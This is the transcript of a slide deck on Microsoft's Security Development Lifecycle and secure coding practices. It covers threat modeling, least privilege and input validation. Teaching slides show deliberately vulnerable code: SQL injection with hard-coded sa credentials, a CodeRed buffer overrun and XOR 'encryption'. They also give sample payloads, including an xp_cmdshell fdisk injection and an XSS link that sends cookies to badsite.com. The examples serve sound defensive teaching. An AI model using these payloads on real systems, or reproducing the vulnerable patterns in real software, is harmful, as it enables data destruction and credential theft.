security best practices

79
Security Best Practices Clint Edmonson Architect Evangelist Microsoft Corporation [email protected]

Upload: clint-edmonson

Post on 09-May-2015

3.922 views

Category:

Business


2 download

DESCRIPTION

Overview of the Microsoft Security Development Lifecycle and industry best practices for secure software development.

TRANSCRIPT

Page 1: Security Best Practices

Security Best Practices

Clint EdmonsonArchitect EvangelistMicrosoft [email protected]

Page 2: Security Best Practices
Page 3: Security Best Practices
Page 4: Security Best Practices
Page 5: Security Best Practices
Page 6: Security Best Practices

Agenda

Microsoft Security Development Lifecycle

Secure Design Principles Clint’s Dirty Dozen

Page 7: Security Best Practices

Training Requirem-ents Design Implemen

-tationVerificatio

n Release Response

Microsoft Security Development Lifecycle (SDL)

Executive commitment SDL a mandatory policy at Microsoft since 2004

Technology and ProcessEducation Accountability

Ongoing Process Improvements 6 month cycle

Page 8: Security Best Practices

SDL Product Development Timeline

Secure questionsduring interviews

Concept DesignsComplete

Test plansComplete

CodeComplete

Ship PostShip

Threatanalysis

SWIReview

Team membertraining Data mutation

& Least PrivTests

Security sign-offcriteria determined

Review old defects Check-ins checkedSecure coding guidelinesUse tools

Security auditLearn & RefineExternal

review

Security push

Page 9: Security Best Practices

SDL Activities

Page 10: Security Best Practices

SDL Maturity Levels

Page 11: Security Best Practices

SDL Secure Design Principles

Core SDL secure design principles: Attack Surface Reduction Basic Privacy Threat Modeling Defense in Depth Least Privilege Secure Defaults

Page 12: Security Best Practices

SDL Core Principle: Attack Surface Reduction

Attack Surface: Any part of an application that is accessible by a human or another program Each one of these can be potentially

exploited by a malicious user

Attack Surface Reduction: Minimize the number of exposed attack surface points a malicious user can discover and attempt to exploit

Page 13: Security Best Practices

Attack Surface Example

Page 14: Security Best Practices

Attack Surface Analysis

Network inputs/outputs

File inputs/ outputs

Etc.

Step 1: Look at Your Entry Points

Step 2: Rank Your

Entry Points

• Authenticated or non-authenticated

• Administrative or user-level access

• Network or local• UDP or TCP• Etc.

Page 15: Security Best Practices

Attack Surface Analysis Tips

Iterative process, for all features you need to also analyze their sub-features

Restrict access to features as much as possible

File Format

.gif

.tiff

.jpg

Protocols

SSLv2

SSLv3

TLS

PCTS

HTTP Verbs

Classic• GET, POST, HEAD,

OPTIONS, TRACE

WebDav• PROPPATCH,

PROPFIND, DELETE, MOVE, LOCK

SMTP

HELO

EHLO

RCPT

Page 16: Security Best Practices

It’s Not Just About Turning Things Off

Higher Attack Surface Lower Attack SurfaceOn by default Off by default

Open socket Closed socket

UDP TCP

Anonymous access Authenticated user access

Constantly on On as needed

Administrative access User access

Internet accessible Local subnet accessible

Running as SYSTEM Running as user, network service or local service account

Uniform defaults User defined settings

Large code Small code

Weak access controls Strong access controls

Page 17: Security Best Practices

Attack Surface Reduction Examples

Microsoft Product Attack Surface ReductionWindows • Firewall on by default

• Authenticated Remote Procedure Call (RPC)

Internet Information Services 6.0 and 7.0

• Off by default• Running as network service by default• Static files by default

SQL Server 2005 and 2008 • xp_cmdshell stored procedure off by default• CLR and COM off by default• Remote connections off by default

Visual Studio 2005 and 2008 • Web server localhost only• SQL Server Express localhost only

Page 18: Security Best Practices

SDL Core Principle: Basic Privacy Security versus Privacy

Security: Establishing protective measures that defend against hostile acts or influences and protects the confidentiality of personal information

Privacy: Empowering users to control the use, collection and distribution of their personal information

Security AND Privacy together are key factors to trustworthy computing

Security Privacy

Page 19: Security Best Practices

Important Note: Security Does Not Always Guarantee Privacy

It is possible to have a secure system that does not preserve

users’ privacy.

Authentication vs. Authorization

Verify who areVerify what they

can access

Page 20: Security Best Practices

Understanding Privacy Behaviors and Concerns

Application Behavior Privacy ConcernTarget children Children Online Privacy Protection

Act (COPPA)

Transfer sensitive PII Gramm-Leach-Bliley Act (GLBA), Health Insurance Portability and Accountability Act (HIPAA)

Transfer non-sensitive PII European Union (EU) or Federal Trade Commission (FTC)

Modify system Computer Fraud and Abuse Act (CFAA)

Continuous monitoring Anti-Spyware Legislation, Deployment Blocker

Anonymous transfer Deployment Blocker

Page 21: Security Best Practices

Microsoft Privacy Guidelines for Developing Products and Services

Documented requirements and recommendations for privacy-compliant products and services

Available online for download

Microsoft customers will be empowered to control the collection, use, and distribution of their personal information

Page 22: Security Best Practices

SDL Core Principle: Threat Modeling

Threat Modeling: A process to understand threats to an application

Threats and vulnerabilities Threats: Actions a malicious user may

attempt in order to compromise a system Vulnerabilities: A specific way a threat is

exploitable, such as a coding error

Page 23: Security Best Practices

ProductDevelopment

Threat Modeling In a Nutshell

Model

Identify Threats

Mitigate

Validate

Vision

Page 24: Security Best Practices

Microsoft Threat Modeling Tool

Microsoft has published the threat modeling tool and it uses internally to assess threats against products and services

Freely available online for download

Page 25: Security Best Practices

SDL Core Principle: Defense In Depth

Defense in Depth: If one defense layer is breached, what other defense layers (if any) provide additional protection to the application?

Assume that software and/or hardware will fail at some point

Most applications today can be compromised when a single, and often only, layer of defense is breached (firewall)

Page 26: Security Best Practices

Defense in Depth Example

Page 27: Security Best Practices

Defense Hotspots

Source: http://shapingsoftware.com/2009/03/09/security-hot-spots/

Page 28: Security Best Practices

SDL Core Principle: Least Privilege

Assume that all applications can and will be compromised

Least Privilege: If an application is compromised, then the potential damage that the malicious person can inflict is contained and minimized accordingly

Page 29: Security Best Practices

Least Privilege Example

LOCAL SYSTEMNON-ADMIN

ADMIN / SYSTEM LEVEL

• Read user files• Change system

passwords• Download malicious

files• Anything

NON-ADMIN• Read user files• Change system

passwords• Download malicious

files• Limited capabilities

Page 30: Security Best Practices

Least Privilege Tips

Evaluate your application and think minimally!

What is the minimum access level your application requires to perform its functions?

Elevate privileges only when needed, and then release those elevated privileges when their purposes have been satisfied

Page 31: Security Best Practices

SDL Core Principle: Secure Defaults

Secure Defaults: Deploy applications in more secure configurations by default.

Helps to better ensure that customers get safer experience with your application out of the box, not after extensive configuration

It is up to the user to reduce security and privacy levels

Page 32: Security Best Practices

Secure Defaults Examples

Application Component Secure Defaults Principle

Firewall Firewall ON by default

SSL Socket Requires last latest SSL version (v3, TLS, etc.) by default

User can access application anonymous or authenticated

Application requires authenticated user sessions by default

Password complexity can be enforced

Password complexity is required by default

Store user passwords (hashes vs. clear text)

Store user passwords as hashes by default

Page 33: Security Best Practices

Clint’s Dirty Dozen

1. Client-side enforcement of server-side security

2. Improper input validation

3. Clear transmission of sensitive information

4. Failure to preserve SQL query integrity

5. Cross-site request forgery (HTML output integrity)

6. Error message information leak

Page 34: Security Best Practices

Clint’s Dirty Dozen

7. File or path name leaking

8. Critical state data exposure

9. Improper access control (authorization)

10. Use of broken or risky cryptography algorithms

11. Hard-coded passwords

12. Execution with unnecessary privileges

13. Failure to constrain operations within memory buffers (buffer overrun)(a concern in unmanaged languages)

Page 35: Security Best Practices

Conclusion Safer applications begin with secure

planning and design

SDL Core principles: Attack Surface Reduction Basic Privacy Threat Modeling Defense in Depth Least Privilege Secure Defaults

Page 36: Security Best Practices

Questions?

Page 37: Security Best Practices

More Info

Page 38: Security Best Practices

Microsoft Security Development Lifecycle (SDL)

Official SDL Web Site: http://www.microsoft.com/sdl

SDL Book:http://www.microsoft.com/mspress/books/8753.aspx

Page 40: Security Best Practices

Microsoft Developer Network (MSDN) Security Developer Center

Official Web site: http://msdn.microsoft.com/security

Page 41: Security Best Practices

Secure Development Blogs The Microsoft Security Development Lifecycle

(SDL) Blog: http://blogs.msdn.com/sdl

Michael Howard’s Blog: http://blogs.msdn.com/michael_howard

J.D. Meier’s Security Hotspots: http://shapingsoftware.com/2009/03/09/security-hot-spots

SANS Institute Top 25 Most Dangerous Programming Errors: http://www.sans.org/top25errors

Page 42: Security Best Practices

Clint EdmonsonArchitect EvangelistMicrosoft [email protected]

Slides available at:http://www.notsotrivial.net/slides

Page 43: Security Best Practices

© 2002 Microsoft Corporation. All rights reserved.This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

Page 44: Security Best Practices

Appendix

Page 45: Security Best Practices

Secure Design Tenets

Reduce Attack Surface Defense in Depth Least Privilege Secure Defaults

Learn from Past Mistakes Security is a Feature Provide Application Diversity

Page 46: Security Best Practices

Reducing Attack Surface

Less code running by default = less stuff to whack by default Slammer/CodeRed would not have

happened if the features were not on by default

ILoveYou (etc.) would not have happened if scripting was off

Requires less admin skill Reduces the urgency to deploy

security fixes Usability often means “automatically”

Page 47: Security Best Practices

Input Trust Issues “All input is evil, until proven otherwise!”

The root of most vulnerabilities Buffer Overruns Canonicalization issues Cross-site Scripting (XSS) attacks SQL Injection attacks

Good guys give you well-formed data, bad guys don’t!

Don’t rely on your client application providing clean data Don’t assume attackers play by the rules They go ‘under the radar’

Page 48: Security Best Practices

Buffer Overruns Been around forever Primarily a C/C++ issue

Programming close to the metal! Prime example of Sloppy

Programming! Aim is to change the flow of execution

so attacker’s code is called Lack of diversity helps the attacker Chapter 5

Page 49: Security Best Practices

Buffer Overruns at Work

Higher addresses

Buffers Other vars

EB

P

EIP Args

void foo(char *p, int i) { int j = 0; CFoo foo; int (*fp)(int) = &func; char b[16];}

Page 50: Security Best Practices

Buffer Overruns at Work

Higher addresses

Buffers Other vars

EB

P

EIP Args

Function return address

Exception handlers

Function pointersVirtual methods

All determineexecution flow

0wn3d!

Page 51: Security Best Practices

Buffer Overrun Results

If you’re lucky, you get an AV Denial of Service against servers

If you’re unlucky, you get instability Best of luck debugging that one!

If you’re really unlucky, the attacker injects code into your process And executes it

Page 52: Security Best Practices

Buffer Overrun ExamplesIndex Server ISAPI Application (CodeRed)

// cchAttribute is char count of user input

WCHAR wcsAttribute[200];if ( cchAttribute >= sizeof wcsAttribute) THROW( CException( DB_E_ERRORSINCOMMAND ) );

DecodeURLEscapes( (BYTE *) pszAttribute, cchAttribute, wcsAttribute,webServer.CodePage());

...void DecodeURLEscapes( BYTE * pIn, ULONG & l,

WCHAR * pOut, ULONG ulCodePage ) { WCHAR * p2 = pOut; ULONG l2 = l;

... for( ; l2; l2-- ) {

// write to p2 based on pIn, up to l2 bytes

Page 53: Security Best Practices

Buffer Overrun ExamplesIndex Server ISAPI Application (CodeRed)

// cchAttribute is char count of user input

WCHAR wcsAttribute[200];if ( cchAttribute >= sizeof wcsAttribute / sizeof WCHAR) THROW( CException( DB_E_ERRORSINCOMMAND ) );

DecodeURLEscapes( (BYTE *) pszAttribute, cchAttribute, wcsAttribute,webServer.CodePage());

...void DecodeURLEscapes( BYTE * pIn, ULONG & l,

WCHAR * pOut, ULONG ulCodePage ) { WCHAR * p2 = pOut; ULONG l2 = l;

... for( ; l2; l2-- ) {

// write to p2 based on pIn, up to l2 bytes

FIXED!

Page 54: Security Best Practices

Using strncpy Naïve use of strncpy is no fix

May not null-terminate the string Shell version, StrCpyN and

Windows lstrcpy do, however Performance issues Third arg sizeof mix-ups

Off-by-one errors Total size of destination buffer

Consider strsafe.h/ntstrsafe.h In Platform SDK, MSDN and VS.NET

2003

Page 55: Security Best Practices

The VC++ /GS Flag

A VC++.NET compile-time option that adds run-time code to certain functions Unmanaged C/C++ A random value called a ‘cookie’ inserted into

stack Validates various stack data is not corrupt Most of Windows Server 2003 and VS.NET

is compiled with this option WindowsXP SP2

Minimal perf hit – 4 instructions!

Page 56: Security Best Practices

What /GS is NOT

A Panacea A cure for lazy developers!

Crap code + /GS == crap code! Only catches some stack-smashing

attacks No heap protection

It’s an insurance policy

Page 57: Security Best Practices

Fixing Buffer Overruns

Trace data coming in from the ‘outside’ Watch for data as it moves from untrusted to trusted

boundaries Build approp test plans using data mutation

Be wary of certain functions strcpy, CopyMemory, MultiByteToWideChar sprintf(…,”%s”,…) Refer to Writing Secure Code 2nd Edition for list API which use byte vs. char counts No such thing as ‘bad functions’ only ‘bad developers’ Not limited to copy functions

Compile with /GS Windows Server 2003 on AMD Opteron™ adds

/noexecute boot option

Page 58: Security Best Practices

Canonicalization Issues

Never make a decision based on the name of a file Chances are good that you’ll get it wrong Often, there is more than one way to

name something

Page 59: Security Best Practices

The Same File!

MySecretFile.txt MySecretFile.txt. MySecr~1.txt MySecretFile.txt::$DATA

Page 60: Security Best Practices

The Same URL!

http://www.foo.com http://www%2efoo%2ecom http://www%252efoo%2ecom http://172.43.122.12 http://2888530444

Page 61: Security Best Practices

The Turkish-I problem(Applies also to Azerbaijan!)

Turkish has four letter ‘I’s i (U+0069) ı (U+0131) İ (U+0130) I (U+0049)

In Turkish locale UC("file")==FİLE

// Do not allow "FILE://" URLsif(url.ToUpper().Left(4) == "FILE") return ERROR;getStuff(url);

// Only allow "HTTP://" URLsif(url.ToUpper(CULTURE_INVARIANT).Left(4) == "HTTP") getStuff(url);else return ERROR;

İ

Page 62: Security Best Practices

SQL Injection – C#string Status = "No";string sqlstring ="";try { SqlConnection sql= new SqlConnection( @"data source=localhost;" + "user id=sa;password=password;"); sql.Open(); sqlstring="SELECT HasShipped" + " FROM detail WHERE ID='" + Id + "'"; SqlCommand cmd = new SqlCommand(sqlstring,sql); if ((int)cmd.ExecuteScalar() != 0) Status = "Yes";} catch (SqlException se) { Status = sqlstring + " failed\n\r"; foreach (SqlError e in se.Errors) { Status += e.Message + "\n\r"; }} catch (Exception e) { Status = e.ToString();}

Page 63: Security Best Practices

Why It’s Wrong(1 of 2)

Good Guy

ID: 1001SELECT HasShippedFROM detail WHERE ID='1001'

Not so Good Guy

ID: 1001' or 1=1 --SELECT HasShippedFROM detail WHERE ID= '1001' or 1=1 -- '

Page 64: Security Best Practices

Why It’s Wrong(2 of 2)

Really Bad Guy

ID: 1001‘; drop table orders --SELECT HasShipped FROM detailWHERE ID= '1001‘; drop table orders -- '

Downright Evil Guy

ID: 1001’; exec xp_cmdshell(‘fdisk.exe’) --SELECT HasShipped FROM detailWHERE ID= ‘1001’; exec xp_cmdshell('fdisk.exe') -- '

Page 65: Security Best Practices

Cross Site Scripting

Very common vulnerability The Nov01 Passport issue was CSS A flaw in a server that leads to

compromise in a client The fault is simply echoing user input!

And trusting user input!

Page 66: Security Best Practices

CSS In Action

Welcome.aspHello,<%= request.querystring(‘name’)%>

Owns badsite.com

Page 67: Security Best Practices

CSS In Action

<a href= http://www.insecuresite.com/welcome.asp?name= <FORM action=http://www.badsite.com/data.asp method=post id=“idForm”> <INPUT name=“cookie” type=“hidden”> </FORM> <SCRIPT> idForm.cookie.value=document.cookie; idForm.submit(); </SCRIPT>>here</a>

Page 68: Security Best Practices

Input Remedies All input is evil until proven otherwise Require authenticated connections Sanitize all input

Look for valid data Reject everything else High-level languages can use RegExp

SSN = ^\d{3}-\d{2}-\d{4}$ Make no assumptions about the trustworthiness of

data Never directly echo Web-based user input

Verify input, then echo it At the very least, HTML or URL encode the output ASP.NET adds the ValidateRequest option

Use SQL parameterized queries

Page 69: Security Best Practices

Storing Secrets

Storing secrets securely in software is impossible!…But you can raise the bar!

Embedded ‘secrets’ don’t stay secretfor long

Page 70: Security Best Practices

Storing Secrets DPAPI is the recommended method Crypt[Un]ProtectData Requires Windows 2000 and later Preferable to LSA secrets

Easy! You store the encrypted secret

You can back the data up DPAPI provides integrity check No need to run as admin

Account that encrypts the data, decrypts the data

Page 71: Security Best Practices

Storing Secrets in Memory

Process1. Acquire data2. Encrypt it 3. Decrypt it4. Use it5. Scrub it

Functions Crypt[Un]ProtectMemory

Requires Windows Server 2003 and later

Rtl[En|De]cryptMemory Now in PlatformSDK

SecureZeroMemory

Cryptmem.cpp

Page 72: Security Best Practices

A Related Issue –“Encraption”

XOR is not your friend! Don’t roll your own

Use CryptoAPI Use System.Security.Cryptography

Evaluate usage Are algorithms appropriate? Document all uses of crypto

const TCHAR szDecrypt[] = TEXT("susageP");

// Decrypt the passworddwSize = (dwSize/sizeof(TCHAR)) - 1;for (dwType = 0; dwType < dwSize; dwType++) { lpRasDialParams->szPassword[dwType] ^= szDecrypt[dwType % 7];

Page 73: Security Best Practices

The Threat Modeling Process

Create an application model Use UML or DFD

Categorize threats by using STRIDE Create a threat tree Rank threats by using DREAD

Page 74: Security Best Practices

Categorize Threats Using STRIDE

Types of threats Examples

Spoofing Forge e-mail messages Replay authentication packets

Tampering Alter data during transmission Change data in files

Repudiation Delete a critical file and deny it Purchase a product and deny it

Information disclosure

Expose information in error messages Expose code on Web sites

Denial of service Flood a network with SYN packets Flood a network with forged ICMP packets

Elevation of privilege

Exploit buffer overruns to gain system privilegesObtain administrator privileges illegitimately

Page 75: Security Best Practices

STRIDE STRIDE

STRIDE

Parse RequestThreat (Goal)

Threat (Goal)

Threat (Goal)

ThreatThreat ThreatThreat ThreatThreat

ConditionCondition

DREAD

DREAD

ConditionCondition ConditionCondition

Sub-threatSub-threat

Key

Threat (Goal)

Sub-threatSub-threat

ConditionCondition

Create Threat Tree

Page 76: Security Best Practices

Rank Threats Using DREAD Damage potential  Reproducibility  Exploitability   Affected users  Discoverability 

Page 77: Security Best Practices

Best PracticesTest Security Involve test teams in projects at the beginning Explicitly test security, not just features Know your enemy and know yourself

What techniques and technologies will hackers use?

What techniques and technologies can testers use?

Use threat modeling to develop security testing strategy

Analyze and prioritize test strategies Attack!!!!

Page 78: Security Best Practices

Best PracticesTest Security Think Evil. Be Evil. Test Evil.

Automate attacks with scripts and low-level programming languages

Submit a variety of invalid data Delete or deny access to files or registry

entries Test with an account that is not an

administrator account Perform code reviews

Page 79: Security Best Practices

Start Right Away It’s true that if you have 1000 or more developers,

you’ll probably want to eventually work your way up to the Dynamic level of the Optimization Model (where we see ourselves), but the 5-person PHP shop could greatly benefit from implementing the SDL at the Standardized level.

At the Standardized level, you perform high-ROI security activities such as validating input and encoding output to defend against cross-site scripting attacks, using stored procedures to defend against SQL injection attacks, and fuzzing your application inputs to find unknown errors. These all sound pretty applicable to a 5-person PHP shop to me!